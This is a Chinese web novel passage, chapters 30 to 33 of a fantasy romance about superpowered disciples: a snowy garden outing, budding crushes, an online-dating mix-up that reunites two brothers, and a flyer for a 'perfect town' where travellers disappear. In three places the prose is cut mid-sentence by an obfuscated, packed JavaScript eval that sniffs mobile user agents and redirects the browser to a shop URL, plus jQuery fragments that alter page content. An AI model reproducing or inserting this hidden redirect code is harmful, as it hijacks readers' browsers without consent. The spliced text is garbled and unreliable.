“我想得一直挺美。”顾肆打了个哈欠,往厨房外走,“走了,补觉。老头子说今天上午休息,你们自便。” 他走到门口,又停下来,回头看了沈言一眼。 “对了,昨晚那事儿,别想太多。” 说完,他晃悠着上楼了。 沈言站在厨房里,看着空荡荡的楼梯口,又看了看灶台。空气里还残留着一点煎蛋的油香。 他抬手,摸了摸耳垂。 有点烫。 30.同淋雪 早上,江妤说想去游乐场。江淮年筷子一停,抬头看她:“游乐场?就你一个?” “嗯。”江妤低头喝粥,“今天工作日,人少。” “不行。”江淮年放下筷子,“一个人不安全。” “市区里,能有什么不安全。”江妤瞥他一眼,“我又不是小孩子。” “那也不行,要去我陪你去。” “你下午不是要练冰火融合?师父说要练满三小时。” 江淮年噎住了。 萧予确实给他定了死任务,最近他在突破关键期,每天雷打不动三小时。 “那让裴衍或者时聿……” “他们也有训练,我自己去就行。” 兄妹俩正僵持,陆时忆端着碗凑过来:“游乐场?江妤妹妹你要去游乐场?我陪你去啊!” 江淮年瞪他:“你去干嘛?” “我没事啊!” “我剑诀练完了,师父说今天自由活动。正好我也想去游乐场玩玩,好久没去了。” 江妤看了陆时忆一眼,没说话,但也没反对。 萧予放下报纸,看了看江淮年,又看看陆时忆,最后说:“江淮年留下训练。陆时忆,你跟着去,下午五点前回来。” “好嘞!”陆时忆立刻应下。 江淮年还想说什么,萧予一个眼神过来,他闭嘴了,只是狠狠瞪了陆时忆一眼。 陆时忆假装没看见,乐呵呵地继续吃饭。 吃完饭,江妤上楼换了衣服。 她穿了件米白色的羽绒服,淡蓝色的长发散着,围了条浅灰色围巾。陆时忆也换了身利落的,黑色外套,深色毛衣,往江妤旁边一站,还挺搭。 出门前,江淮年把江妤拉到一边,压低声音:“离那小子远点,别让他占便宜。” 江妤看他一眼:“哥,你想多了。” “我认真的!陆时忆那家伙对你图谋不轨!” “我知道。” “……你知道你还跟他去?” 江妤没回答,只是拍了拍江淮年的胳膊,转身出门了。陆时忆赶紧跟上,出门前还冲江淮年挥挥手,笑得那叫一个灿烂。 江淮年拳头硬了。 不行。想揍人。 游乐场人还挺少,工作日加上天气冷,没几个游客。 江妤也没玩什么刺激项目,就坐了旋转木马,看了场小剧场,在湖边喂了会儿天鹅。陆时忆全程跟着,她玩什么他玩什么,她看什么他看什么。 其实挺无聊的。 但陆时忆觉得挺好。 能跟江妤单独待着,就算只是喂天鹅,也比在训练场对练强。 下午三点多,天开始阴了。江妤看了眼时间,说该回去了。两人往地铁站走,走到一半,天上飘起了雪花。 开始很小,零零星星的。然后越来越大,越来越密,很快就成了鹅毛大雪。 雪花落在江妤的长发上,落在她睫毛上,她眨了眨眼,雪花化了,变成细小的水珠。 陆时忆看着,心跳有点快。 “下雪了。”江妤伸手接了一片雪花,看着它在掌心融化。 “嗯。”陆时忆应了一声,脑子里突然冒出个念头,“江妤妹妹,我知道有个园子,离这儿不远,雪景特别好看。要不要……去看看?” 江妤转头看他。雪落在她肩头,她整个人像裹了层薄薄的糖霜。 “远吗?” “不远,走过去十分钟。” 江妤想了想,点头:“行。” 园子是个老式园林,平时收门票,今天下雪,门口检票员缩在亭子里打瞌睡,两人溜进去了。园子里一个人都没有,雪已经把小路铺白了。假山、亭子、枯树,全盖了层雪,静悄悄的。 陆时忆带江妤走上一条长廊。长廊临水,弯弯曲曲的,廊檐下挂着红灯笼,灯光昏黄,照着飘落的雪花。 江妤走得很慢,她看着廊外飘雪的水面,看着远处雪白的屋顶,没说话。陆时忆走在她旁边半步的位置,也没说话。雪落在两人肩头,头发上,谁也没去拂。 走到长廊中间,有座拱桥。站在桥顶能看见大半个园子。两人走上桥,雪下得更大了,密密麻麻的,像扯碎的棉絮。 陆时忆站在桥顶,看着江妤的背影。她站在桥栏边,伸手去接雪,侧脸在灯笼光里显得特别柔和。 雪花落在她头发上,白的雪,蓝的发。 他脑子里忽然闪过一句话,不知道在哪儿看的:他朝若是同淋雪,此生也算共白头。 这念头冒出来,他自己先愣了一下,然后耳根子热起来。 什么乱七八糟的,矫情。 但是他没移开视线。江妤站在那儿,站在雪里,站在灯下,好看得让他挪不开眼。 江妤似乎感觉到他的视线,回过头。雪花落在她睫毛上,她眨了眨眼:“看什么?” “……没什么。”陆时忆移开视线,又忍不住看回来,“就觉得……雪挺大的。” “嗯。”江妤转回去,继续看雪。 两人在桥上站了一会儿,雪越下越密。陆时忆觉得差不多了,再站下去该感冒了。他刚想说走吧,桥那头忽然传来急匆匆的脚步声。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138301|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淮年举着把伞冲上桥,跑得气喘吁吁。他看见江妤,眼睛一亮,赶紧把伞撑到她头上:“我就知道你没带伞!这么大雨雪,淋病了怎么办?” 江妤被伞罩住,愣了一下:“哥?你怎么来了?” “我不放心!”江淮年瞪了旁边的陆时忆一眼,“就知道这小子不靠谱!下雪了不知道带你去躲躲?” 陆时忆摸摸鼻子,没吭声。他确实没想到带伞,光顾着看人了。 江淮年把伞往江妤那边倾,自己半边身子露在外面。他又从口袋里掏出条干毛巾,递给江妤:“擦擦头发。” 江妤接过毛巾,擦了擦发梢的雪水。 她看了眼江淮年被雪打湿的肩膀,把伞往他那边推了推:“你自己也打点。” “我没事。”江淮年又把伞推回去,然后看向陆时忆,“愣着干嘛?走啊,回家。” 三人往回走。 江淮年撑着伞,把江妤护得严严实实。陆时忆跟在旁边,雪落了他一身。 他看着伞下的江妤,她头发有点湿,贴在脸颊边,灯光照下来,显得皮肤很白。 还是好看。 陆时忆想。 回到家,屋子里暖气开得足,暖洋洋的。 江淮年催江妤去洗热水澡,又去厨房煮姜茶。 陆时忆站在客厅里,头发上的雪化了,水滴到地板上。 萧予从书房出来,看了他一眼:“玩得怎么样?” “……挺好的。”陆时忆说。 “雪景好看吗?” 陆时忆愣了一下,抬眼看向萧予。他眼里带着点了然的笑意。 “……好看。”陆时忆老实说。 人更好看。他心里补充道。 萧予点点头,没再说什么,回书房了。 江妤洗完澡出来,换了身干爽的家居服,头发吹得半干,散在肩上。 江淮年把煮好的姜茶端给她,她小口小口喝着,脸颊被热气熏得泛红。 陆时忆也洗了澡换了衣服,出来时江妤已经喝完姜茶,准备上楼了。 她在楼梯口停下,回头看了陆时忆一眼。 “今天谢谢。” “……谢什么。”陆时忆摸摸后脑勺,“我也没干嘛。” 江妤没再说什么,转身上楼了。陆时忆看着她背影消失在楼梯拐角,站了一会儿,才回自己房间。 他躺在床上,脑子里还是江妤站在桥上看雪的样子。雪花,灯笼,长发,侧脸。 他翻了个身,把脸埋进枕头里。 完了。 他真的,特别喜欢她。 31.不减反增 裴衍在沙发上睡着了。这是常态。午饭刚过,阳光透过落地窗照进来,暖烘烘地铺在地板上。裴衍整个人陷在沙发里,头发有点乱,脑袋歪向一边,呼吸均匀绵长。 陆时忆抱着惊蛰从楼上下来,看见裴衍又在睡,忍不住翻了个白眼。 他走过去,用剑鞘戳了戳裴衍的肩膀:“裴石头,醒醒,帮我个忙。” 裴衍没反应。 陆时忆又戳了戳:“裴衍?听见没?帮我试个新招,就一下。” 裴衍动了动,把脸往沙发靠垫里埋得更深了些,发出含糊的鼻音,像在说“别吵”。 陆时忆不死心,还想再戳。 江淮年从楼梯上走下来,看见这情景,开口:“裴衍,你……” 他话还没说完,裴衍眼睛睁开了。 很清醒。 虽然带着点被打扰的不悦,但确实睁开了。 他偏过头,看向江淮年:“嗯?怎么了?” 江淮年话卡在喉咙里。 陆时忆在旁边瞪大眼睛:“?几个意思?我叫你你不醒,江淮年一叫你就醒了?” 裴衍瞥了他一眼,又把眼睛闭上了,声音懒洋洋的:“你太吵。” “我——”陆时忆气结,转头看江淮年,“江淮年你帮我说说!” 江淮年也有点莫名其妙。 他走过来,在沙发另一边坐下,看着裴衍:“你真醒了?” “嗯。”裴衍应了一声,没睁眼,“有事?” “陆时忆想让你帮他试新招。” “不帮。” “……为什么?” “困。” 陆时忆:“……” 他想打人。 江淮年看着裴衍那副随时要睡过去的样子,忽然想起件事。 他戳了戳裴衍的胳膊:“哎,裴衍,问你个事。” “说。” “你的异能……是不是只有防御啊?”江淮年问得挺认真,“你看陆时忆能劈,沈言能搞炸,时聿能影遁……你呢?除了垒墙挖坑,还能干嘛?” 裴衍终于睁眼了。 他慢吞吞地坐起来,靠在沙发背上,看着江淮年:“你觉得我只会防御?” “也不是……”江淮年挠挠头,“就是没见你用过攻击的。” 裴衍盯着他看了几秒,然后重新躺回去,闭上眼:“有攻击的。不想用。” “为什么不想用?” “麻烦。” “……” 陆时忆在旁边插嘴:“你就不能展示一下?让我们开开眼?” 裴衍没理他。 江淮年盯着裴衍的侧脸,看他又要睡过去的样子,心里那点好奇被勾起来了。 他伸手,戳了戳裴衍的脸颊。 触感温热,皮肤比看起来细腻。 裴衍眼皮动了动,没睁眼:“干嘛?” “真不能看看?就一下。” “你想看?”裴衍声音里带着点睡意,也带了点别的什么。 江淮年犹豫了一下,点头:“……有一点点?” 裴衍睁开眼,看向他。 那双眼睛在午后的光线下显得有点浅,他看了江淮年一会儿,然后重新闭上眼,声音很轻:“嗯。以后都用。” 江淮年没太明白这句“以后都用”是什么意思。 但裴衍说完这句,就又没动静了,像是又要睡过去。 陆时忆等得不耐烦,干脆放弃,自己抱着剑去院子里练了。 客厅里只剩下江淮年和裴衍两个人。阳光斜斜地照进来,空气里有细小的尘埃在光柱里浮动。 江淮年坐了一会儿,觉得没意思,也准备起身去训练。他刚要站起来,裴衍忽然动了。 他伸出手,拽住江淮年的手腕。 江淮年停住,又坐了回去,等了半天,裴衍也没有动作。他试着挣了挣,挣不开。 “……裴衍?” 裴衍没说话,只是松开了手,转而在江淮年头顶揉了一把。力道不重,但很突然。 江淮年愣住了,裴衍的手已经收了回去,重新搭在沙发扶手上,仿佛刚才那一下只是幻觉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142190|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江淮年抬手摸了摸自己的头发,又看了看裴衍。裴衍呼吸平稳,好像又睡着了。 “……诶?” 江淮年有点懵懵的。 裴衍没回应。 他盯着裴衍看了好一会儿,最后摇摇头,起身走了。脚步声消失在楼梯上。 客厅里彻底安静下来。阳光缓慢移动,从裴衍脸上移到肩膀上。 他依旧闭着眼,呼吸均匀。 但其实没睡着。 脑子里全是刚才江淮年凑近时的那张脸。 红头发,异色眼睛,眼角那颗小痣。 还有那句“有一点点想看”,语气里带着他自己可能都没察觉的期待。 麻烦。 裴衍在心里啧了一声。 这种说不清道不明的感觉,从江淮年刚来静园那会儿就有了。一开始只是觉得这小孩咋呼,吵,但挺有意思。后来看他拼命训练,看他护着江妤,看他跟沈言他们斗嘴,看他在荒原上为了救沈言不要命。 他早就想过这种感觉。 但想不明白,还以为过了段时间就自己没了。 结果时间越长,这种感觉不但没淡,反而越来越清晰。 像有什么东西在胸腔里慢慢发酵,胀得他有点烦。 特别是刚才,江淮年戳他脸的时候,指尖的温度,还有那双眼睛里的好奇。 裴衍差点没忍住直接坐起来。 但他忍住了。只是揉了一把头发。 手感比想象中好。红发其实挺软,不像看起来那么扎人。 裴衍翻了个身,面朝沙发靠背,把脸埋进去。 算了。 睡觉。 反正以后有的是机会。 至于什么机会?他自己也说不清楚。 还有江淮年说到的攻击型异能……确实有,也确实不爱用。 太吵,动静大,还费劲。 但如果江淮年想看……用用也无妨。 裴衍想着,意识渐渐模糊。 阳光暖得恰到好处。 睡觉。 32.兄弟情深 江淮年最近有点闲,城里日子太安逸,训练任务完成得早,剩下的时间不知道该干嘛。 陆时忆沉迷打游戏,沈言整天看书,裴衍不是在睡觉就是在睡觉的路上。 江妤忙着打理她那个小阳台菜园,宋听澜研究新药方,时聿神出鬼没,顾肆在三楼不知道捣鼓什么。 这天江淮年正刷着手机,屏幕上突然弹出一个花花绿绿的广告,写着“寻找灵魂伴侣,邂逅命中注定”。 江淮年突然起了点兴趣,点了一下。 页面跳转,是个聊天软件。 注册很简单,随便填个昵称性别年龄就行。 江淮年想了想,昵称填了“年糕”,性别男,年龄十八。 刚注册完,就有消息弹出来。 【用户“春桃”请求添加您为好友。】 江淮年点了同意。对方秒发消息。 春桃:你好呀。 年糕:你好。 春桃:多大了? 年糕:十八。 春桃:哦~处不处cp? 江淮年盯着那两个字看了三秒,打字:cp是啥? 春桃:? 下一秒,红色感叹号。他被拉黑了。 江淮年:“?” 什么意思?他说错什么了? 他退出软件,打开浏览器,搜索“cp是什么意思”。跳出来一堆解释:couple,情侣,配对。 江淮年懂了。 处对象。 他啧了一声,觉得有点无聊,正准备卸载软件,又弹出一条好友请求。 【用户“青禾”请求添加您为好友。】 对方问他多大了,他说十八。 对方问在哪儿上学,他说没上学。 对方问有照片吗,他想了想,回了句“没有”。 然后又被拉黑了。 江淮年盯着手机,觉得这些人太诡异了。 莫名其妙发一堆查户口似的消息,聊几句就拉黑,但他又觉得这事儿有点意思。 他又搜了搜“网恋怎么聊”,看了几篇攻略,大概懂了。要发照片,要会撩,要暧昧。 照片…… 江淮年摸了摸下巴,他自己的照片不能发。之前在城里惹过几次事,虽然没闹大,但万一有仇家顺着照片找上门,麻烦。得用别人的。 那用谁的? 江淮年脑子里过了一遍。 陆时忆不行,太傻。裴衍不行,太傻。时聿不行,太傻。顾肆不行,太傻。宋听澜不行,太……算了,太傻。 江妤更不行,虽然他妹妹聪明伶俐漂亮乖巧懂事可爱但是是女的。 嗯。那就沈言。 下午,江淮年敲开沈言房门。沈言正坐在书桌前看书,看见他,挑眉:“干嘛?” “借你张照片。” 沈言:“?” “网恋用。”江淮年补充,“绝对正经,就是应付一下。” 沈言盯着他看了几秒,然后面无表情地说:“江淮年,你死了。” “别啊,就一张,随便什么照片都行。” “为什么用我的?” “好看。” 沈言被噎了一下,脸有点黑。 “用我照片去网恋,你死了这条心。”说着,沈言一步步给江淮年推到门外去。 “一张!就一张!”江淮年双手合十,“求你了沈言,帮帮忙!大不了下次出任务我帮你挡刀!” 沈言翻个白眼,依旧抵着门框,但至少没直接关门。 江淮年赶紧劝说:“而且你想啊,用你照片,万一对面真是个美女,你不也赚了?” “滚,我不需要。” “那万一对面是个富婆呢?” “……” 沈言盯着江淮年,江淮年一脸真诚地看着他。 两人对视了大概半分钟,沈言先移开视线,骂了句:“我真服了你了。” 这是松口了。江淮年立刻掏出手机:“来来来,拍张侧脸就行,要那种若隐若现、朦朦胧胧的感觉……” “你哪来这么多屁话。”沈言不耐烦,但还是侧过身,靠在窗边,“快点。” 江淮年举起手机,找了个角度。 下午的阳光从窗户斜照进来,落在沈言侧脸,睫毛很长,鼻梁挺直,下巴线条干净利落。江淮年按下快门。 照片拍的光线和角度都刚好,能看出是个帅哥,但又看不清全貌,朦朦胧胧的,挺有氛围感。 “谢了兄弟!”江淮年拍拍沈言肩膀,“改天请你吃饭!” “滚。”沈言一脚踹过去,江淮年灵活地躲开,溜了。 回到自己房间,江淮年把照片稍微处理了一下,加了个滤镜,让脸更模糊一点,继续他的“网恋事业”。 这次加他的人叫“落雪”。聊了几句,对方问他要照片。江淮年把沈言那张发过去了。 落雪:哇,小哥哥好帅! 年糕:还行。 落雪:小哥哥这么帅,肯定有很多人追吧? 年糕:没有。 其实有,比如天天被影仆追。 落雪:小哥哥哪里人呀? 年糕:本地。 落雪:我也是!有空见个面吗? 年糕:再说吧。 落雪:好呀,等你哦~宝宝。 江淮年盯着那两个字,一阵恶寒。宝宝?他鸡皮疙瘩都起来了。 经历过词隅那事,他对这种过于亲密的称呼有点PTSD。但转念一想,反正就是网上随便聊聊,忍忍吧。 接下来几天,落雪天天找他。 早安晚安,吃了吗睡了吗,在干嘛想你了。江淮年有一搭没一搭地回着,有时候忘了回,对方就发一连串委屈表情。他懒得解释,就当没看见。 对方说话越来越暧昧。什么“亲爱的”“宝贝”“想抱抱你”,江淮年看得浑身难受,但为了不崩人设,勉强忍着。心想等对方提出见面,就过去亲自说清楚。 正好,落雪这天就说了要见面。江淮年应下了。 结果那天他训练完累得半死,倒头就睡,把约好的见面忘得一干二净。第二天早上醒来,手机几十条未读消息,全是落雪发的。 落雪:你人呢? 落雪:我等你半小时了。 落雪:你是不是在耍我? 落雪:好,你等着。 江淮年挠挠头,回了个“对不起,忘了”。对方没再回复。 他以为这事儿就这么过去了。大概算是网恋失败。无所谓。 一周后,他去甜品店买蛋糕。 江淮年爱吃甜食,尤其爱抹茶蛋糕。那天他训练完,嘴馋,跑去常去的那家店。店里人不多,他低头看手机,没注意前面有人,一头撞了上去。 “抱歉。”江淮年立刻说。 被撞的是个男人,个子很高,江淮年得仰头才能看清对方的脸。 看起来挺年轻,黑色短发,五官挺英俊,但那双桃花眼带着点轻佻的笑意,看着就轻浮。男人上下打量了他几眼,没说话,走了。 江淮年也没在意,走到柜台前,对店员说:“要一块抹茶蛋糕。” 店员正要给他拿,刚才那个男人又折回来了。他走到柜台前,对店员笑了笑:“剩下的抹茶蛋糕,我全要了。” 店员愣了愣:“先生,还剩十块……” “全包。”男人掏出钱包,刷卡。 江淮年:“……” 男人提着满满一袋蛋糕,经过江淮年身边时,还冲他挑了挑眉,那眼神明晃晃写着“就是故意的”。 江淮年气得牙痒痒,但也没办法,只能眼睁睁看着最后十块抹茶蛋糕被拎走。从那以后,他就记住了这张脸。 轻浮,讨厌,还跟他抢蛋糕。 转眼间,一个月过去了。 江淮年都快忘了甜品店那个事了。 然后他在市中心闲逛,看见一个人。 那人穿着件黑色风衣,身高估计得有一米九,站在街边抽烟。 就是那个抢蛋糕的混蛋。 江淮年正准备绕道走,那人忽然转过头,视线和他撞个正着。 “哟,”那人开口,声音挺低沉,“这不是抢我蛋糕的小朋友吗?” 江淮年:“……谁抢你蛋糕了?” “上个月,甜品店。”那人把烟掐了,走过来。他比江淮年高不少,走近了,压迫感很强。“你撞了我,连句像样的道歉都没有,还瞪我。” “我道歉了。” “态度不好。” 江淮年不想跟他纠缠,转身要走。那人伸手拦他,手搭在他肩膀上。江淮年条件反射,反手抓住对方手腕,一个过肩摔—— 没摔动。 那人稳稳站着,手腕一翻,反而扣住了江淮年的手腕。力道很大,捏得他骨头生疼。 “火气不小啊。”那人笑,另一只手伸过来,指尖在江淮年脸颊上轻轻划了一下,“这张脸,跟照片上不太一样嘛。” 江淮年瞳孔一缩。 照片?什么照片?沈言那张照片? 他猛地抬头,盯着对方:“落雪?” “答对了。”那人松开手,往后退了一步,摊开手,“顾昭。昭然的昭。” 江淮年脑子嗡嗡作响。 落雪是男的?还是这个抢蛋糕的混蛋? 他还没来得及细想,忽然感觉到顾昭身上传来一股很淡的黑暗能量波动。 顾昭似乎察觉到他的戒备,挑了挑眉:“怎么?还想打?” 江淮年没废话,掌心冰火能量同时凝聚。顾昭眼神一凝,也收敛了笑容,往后退了两步,拉开距离。 街上人不多,但也不是没人。江淮年不想惹事,压低声音:“换个地方。” “行啊。”顾昭耸肩,“前面巷子,没人。” 两人前一后进了巷子。 刚进去,江淮年就出手了。冰锥火球齐发,直攻顾昭面门。顾昭不闪不避,抬手一挥,一道暗紫色的能量屏障张开,挡下了所有攻击。冰火撞在屏障上,发出滋滋的腐蚀声。 毒蚀。 难怪有黑暗能量。 顾昭反击很快,暗紫色能量化作细密的针雨,射向江淮年。江淮年凝出冰盾挡住,针雨扎在冰盾上,腐蚀出一个个小坑。两人在狭窄的巷子里打成一团,动静不小,但好在巷子深,没人过来。 打了十几分钟,江淮年渐渐占了上风。顾昭的毒蚀虽然麻烦,但攻击方式单一,而且明显没下死手。江淮年找准机会,一个冰火融合砸过去,顾昭被震得倒退几步,撞在墙上。 “咳……”顾昭咳了一声,嘴角渗出血丝。他抬手抹掉,看着江淮年,眼里有点惊讶,“可以啊,小朋友,比我想的强。” 江淮年没放松警惕,盯着他:“你是谁?为什么有黑暗能量?” 顾昭愣了:“黑暗能量?什么黑暗能量?” “你身上的能量,有黑暗气息。” “那是我的异能,毒蚀,带点腐蚀性,不是什么黑暗能量。” “你到底在说什么?” 江淮年盯着他看了几秒,确定对方不像在撒谎。他收回手,但冰火能量还在掌心流转:“你叫顾昭?” “对。” “……认识顾肆吗?” 顾昭的表情瞬间变了,那副轻佻玩世不恭的样子消失得干干净净。 “他不是早死了吗?” 江淮年心里咯噔一下,难道还有仇? “……我不认识。”江淮年撒了个谎,“听说过这个名字。” 顾昭盯着他,过了很久才慢慢放松下来,重新挂上那副轻浮的笑:“哦,是吗。那可惜了,我还以为你知道他在哪儿呢。” 江淮年没接话。他感觉这事儿有点复杂,得回去问问顾肆。 “今天到此为止,以后别找我。” “那可不行,咱俩cp还没处完呢。” “滚。” 江淮年转身就走,顾昭没拦他,只是在后面喊了句:“下次见面,记得带蛋糕赔罪啊!” 江淮年头也不回地比了个中指。 回到家,江淮年直接上了三楼,敲顾肆的门。敲了半天,门开了,顾肆一脸不耐烦:“干嘛?” “问你个事,你是不是有个弟弟?” 顾肆挑了挑眉:“你问这个干什么?” “好奇。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144104|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾肆盯着他看了几秒,侧身让他进来。房间很简洁,没什么多余的东西。顾肆在床边坐下,示意江淮年坐椅子。 “我八九岁跟着师父,之前的记忆很模糊。可能是有吧?我也记不清楚。” 江淮年犹豫了一下,还是说了:“我今天碰到一个人,叫顾昭。” 顾肆明显僵了一下,抬起头,看着江淮年:“…他还活着?” “活着,活蹦乱跳的,还跟我打了一架。” 顾肆啧了一声:“我以为他死了。” “他也以为你死了,反正人我给你找到了,剩下的你自己处理。” “等等。”顾肆叫住他,“他怎么认识你的?” “……网恋。” 顾肆:“?” 江淮年简单解释了一下。顾肆听完,表情变得有点古怪:“你拿沈言照片网恋,对象是我弟?” “意外。”江淮年强调,“纯属意外。” 顾肆摆摆手,示意他出去。 接下来几天,江淮年尽量不出门。但他不出门,有人找上门。 这天下午,门铃响了。江淮年去开门,门外站着顾昭。还是那副轻佻的样子,手里还提着个蛋糕盒子。 “嗨,小朋友,给你带赔礼了。” 江淮年想关门,顾昭伸手挡住,他力气大,江淮年关不上。 不仅如此,顾昭硬是挤进屋里来,还顺手搂住了江淮年的腰。因为身高差,他整个人几乎被圈在顾昭怀里。 “我找我哥。”顾昭说,语气正经了些,“他在吗?” 不等江淮年说什么,一道土刺毫无征兆地从地面窜出,直刺顾昭脖颈。 顾昭反应极快,往后一仰,土刺擦着他喉咙过去,划出一道血痕。他站稳,看向楼梯方向。 裴衍站在楼梯上,手还按在扶手上。 江淮年愣住了:“裴衍?” 裴衍没理他,盯着顾昭:“松手。” 顾昭摸了摸脖子上的血痕,笑了:“哟,护食啊。” 裴衍没说话,但客厅里的温度瞬间降了好几度。地面微微震动,更多的土刺在酝酿。 江淮年赶紧挣开,往旁边挪了两步打圆场:“等等等等!这是顾肆他弟!” 楼梯上传来脚步声。顾肆慢悠悠地走下来,看见顾昭,脚步停了一下。兄弟俩对视,空气凝固了几秒。 顾肆先开口:“你居然没死?” 顾昭回敬:“你居然还活着?” 语气一模一样,连那点讽刺的调子都如出一辙。 江淮年:“……” 他默默退到一边,决定不掺和这兄弟俩的“深情”对话。 裴衍也从楼梯上下来,走到江淮年身边,伸手把他往自己这边拉了拉,动作很自然,力道不小。 江淮年被拉得踉跄了一下,抬头看裴衍:“干嘛?” 裴衍没看他,眼睛盯着顾昭,声音压得很低:“离他远点。” 江淮年:“?” 顾昭看着这一幕,挑了挑眉,笑容更深了:“哥,你这儿挺热闹啊。” 顾肆走到沙发边坐下,翘起二郎腿:“说吧,找我干什么?” “叙旧啊。”顾昭把蛋糕盒子放在茶几上,“顺便看看我‘网恋对象’。” 江淮年头皮发麻。他感觉裴衍握着他手腕的力道又重了几分。 顾肆瞥了江淮年一眼,又看看顾昭,嗤笑一声:“你俩这缘分……” 顾昭在顾肆对面坐下,兄弟俩开始聊。内容乱七八糟,一会儿说小时候的事,一会儿互相嘲讽,一会儿又沉默。江淮年听了几句,觉得这兄弟俩关系其实不差,就是表达方式有点别致。 裴衍一直没松手。江淮年挣了挣,没挣开,小声说:“裴衍,你捏疼我了。” 裴衍松了点力道,但没放开。他低头看了江淮年一眼,眼神很沉,江淮年莫名有点心虚,虽然他也不知道自己心虚什么。 那边,顾昭忽然说:“哥,你这些年混得不错啊,住这么大房子。” “师父的,你呢?干什么的?” “瞎混。接点私活,赚点钱。对了,你这小朋友挺有意思的,借我玩两天?” 江淮年:“……谁是你小朋友?” 顾昭冲他眨眨眼:“网恋对象啊。” 裴衍终于开口了,声音冷的掉冰碴子:“滚。” 顾昭看向裴衍,眼神玩味:“你谁啊?他男朋友?” 顾肆终于看不下去,踹了顾昭一脚:“闭嘴,别惹事。” 顾昭耸耸肩,不说话了。 兄弟俩又聊了一会儿,顾昭起身告辞。走之前,他凑到江淮年面前,压低声音:“小朋友,我还会回来的,下次请你吃蛋糕~” 江淮年还没来得及拒绝,裴衍已经挡在他前面,把顾昭隔开了。顾昭笑了笑,转身走了。 门关上,客厅里安静下来。 江淮年松了口气,转头看裴衍:“你刚才怎么了?火气那么大?” 裴衍盯着他,看了很久,最后松开手,转身往楼上走。 “没事。”声音很闷。 江淮年看着他上楼的背影,挠挠头,一脸莫名其妙。 顾肆在沙发上笑出声,很幸灾乐祸。 江淮年瞪他:“笑什么?” “笑你迟钝,还没闻着醋味儿?” 江淮年:“……什么醋?” 顾肆摇摇头,起身也上楼了,留下江淮年一个人在客厅里发呆。 他想了半天,没想明白。最后放弃,走到茶几边,打开顾昭带来的蛋糕盒子。 里面是十块抹茶蛋糕。 江淮年:“……” 他拿起一块,咬了一口。 甜。 手机震了一下,是顾昭发来的消息:蛋糕好吃吗? 江淮年回:还行。 顾昭:下次带你去吃更好的。 江淮年:不用。 回完,他把手机扔到一边,继续吃蛋糕。 楼上,裴衍房间的门关着。房间里没开灯,他靠在门后,脑子里全是刚才顾昭搂着江淮年的画面。 烦。 他抬手,揉了揉眉心,真是……麻烦死了。 33.完美 傍晚,时聿像影子似的滑进别墅客厅,身上还沾着外头的寒气。宋听澜正端着刚熬好的药膳汤从厨房出来,差点和他撞上。 “下次进门出点声。”宋听澜稳稳托住汤碗,一滴没洒。 时聿没接话,只是摘了墨镜,露出一双没什么情绪的眼睛。他从外套内袋摸出张皱巴巴的传单,拍在茶几上。 客厅里几个人都凑过来。 传单印刷得挺精致,彩色铜版纸,标题用花体字写着:“欢迎来到‘完美小镇’——世上最后一片净土”。 底下配图是夕阳下的欧式小镇,石板路干净得反光,家家户户窗台上摆着鲜花,街上行人笑容满面。 最底下有一行小字:“无痛苦、无悲伤、只有永恒的快乐。诚邀外乡旅客前来体验,食宿全免。” 陆时忆拿起传单翻了翻:“免费食宿?这么好?” “有问题。”裴衍靠在沙发里,眼睛都没睁开。 江淮年从陆时忆手里抽过传单,仔细看了两遍:“印得这么漂亮,还免费,听着就像陷阱。” 沈言靠在楼梯扶手上,瞥了一眼:“底下那行小字看见没?外乡旅客。专门针对外来者。” 江妤从阳台进来,手里还拿着浇花的水壶:“时聿师兄,这传单哪来的?” 时聿重新戴上墨镜:“城西。电线杆上贴的,我揭下来的。” “就这一张?” “满城都是。最近半个月,城里失踪了十余个人。全是外乡来的,都是在收到这种传单后消失的。” 客厅里安静了几秒。 宋听澜把汤碗放下,擦擦手:“失踪者身份确认了吗?” “游客,背包客,临时工。他们共同的地方就是都是单独行动,都在城里待不超过三天,都在收到传单后失去联系。最后一个失踪者,是个大学生,三天前去的完美小镇,昨天家里联系不上,报了警。警察去查了,镇子一切正常,人说没见过这个大学生。” “正常才不正常。”沈言冷笑,“一个大活人进去,人间蒸发,镇上说没见过?骗鬼呢。” “师父呢?” “书房,已经知道了。” 正好,书房门开了。萧予走出来,手里拿着几份文件。他扫了眼茶几上的传单,没说话,先把文件递给宋听澜。 “失踪者的详细资料,还有警方的调查报告。确实都去了完美小镇,也确实都没再出来。” 宋听澜接过文件快速翻阅,眉头越皱越紧。资料很详细,包括失踪者的照片、最后出现的地点、亲友口述。翻到最后一份时,他手指停了停。 “这个大学生,”他抽出那张照片,“女,二十岁。她是唯一一个在去小镇后联系过家人的。她说小镇很漂亮,居民很热情,她打算多住几天。然后就失联了。” 